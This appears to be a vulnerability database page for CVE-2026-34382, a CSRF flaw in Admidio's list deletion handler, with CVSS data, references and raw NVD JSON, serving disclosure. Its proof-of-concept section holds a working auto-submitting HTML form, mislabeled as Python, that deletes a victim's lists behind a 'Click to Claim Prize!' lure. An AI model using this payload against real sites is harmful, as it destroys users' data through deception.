CVE-2026-34382

Description

Admidio is an open-source user management solution. From version 5.0.0 to before version 5.0.8, the delete mode handler in mylist_function.php permanently deletes list configurations without validating a CSRF token. An attacker who can lure an authenticated user to a malicious page can silently destroy that user's list configurations — including organization-wide shared lists when the victim holds administrator rights. This issue has been patched in version 5.0.8.

CVSS Details

CVSS Score

4.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:admidio:admidio:*:*:*:*:*:*:*:* - VULNERABLE

Admidio >= 5.0.0, < 5.0.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-34382 -->
<!-- Attacker hosts this file and lures the victim to access it -->
<html>
  <body>
    <form action="http://target-site/adm_program/modules/lists/mylist_function.php" method="POST">
      <input type="hidden" name="mode" value="delete" />
      <input type="hidden" name="list_id" value="1" /> <!-- Replace with a valid list ID -->
      <input type="submit" value="Click to Claim Prize!" />
    </form>
    <script>
      // Auto-submit the form to minimize interaction
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34382
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34382
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34382/
[4] VulDB https://vuldb.com/cve/CVE-2026-34382
[5] https://github.com/Admidio/admidio/commit/317ec91ad3baf19d4179db6c32413812eb36d7ca
[6] https://github.com/Admidio/admidio/security/advisories/GHSA-g3mx-8jm6-rc85

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34382", "sourceIdentifier": "[email protected]", "published": "2026-03-31T21:16:30.180", "lastModified": "2026-04-01T18:25:24.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Admidio is an open-source user management solution. From version 5.0.0 to before version 5.0.8, the delete mode handler in mylist_function.php permanently deletes list configurations without validating a CSRF token. An attacker who can lure an authenticated user to a malicious page can silently destroy that user's list configurations — including organization-wide shared lists when the victim holds administrator rights. This issue has been patched in version 5.0.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:admidio:admidio:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.8", "matchCriteriaId": "57D165DA-4B63-4140-9E3E-B66F1A9CE955"}]}]}], "references": [{"url": "https://github.com/Admidio/admidio/commit/317ec91ad3baf19d4179db6c32413812eb36d7ca", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-g3mx-8jm6-rc85", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}